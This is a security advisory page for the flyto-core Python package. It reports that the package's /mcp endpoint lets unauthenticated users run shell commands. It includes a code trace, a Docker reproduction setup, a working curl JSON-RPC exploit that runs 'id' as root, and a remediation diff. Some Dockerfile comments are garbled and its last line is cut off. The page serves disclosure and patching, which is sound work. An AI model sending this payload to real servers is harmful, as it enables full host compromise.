PyPI · flyto-core
flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`
execute_moduleThe HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78 — mcp_router is mounted under /mcp unconditionally at app creation.src/core/api/routes/mcp.py:65-66 — @router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.src/core/mcp_handler.py:813-838 — tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139 — command is read directly from params with no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169 — command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
Contrast with the protected REST route:
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
Environment setup (Docker):
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
Exploit (curl) — no Authorization header:
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
Exploit (Python PoC script):
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
Observed response (dynamic reproduction, Phase 2):
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}
The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
flyto serve on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
DockerfileFROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', por
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.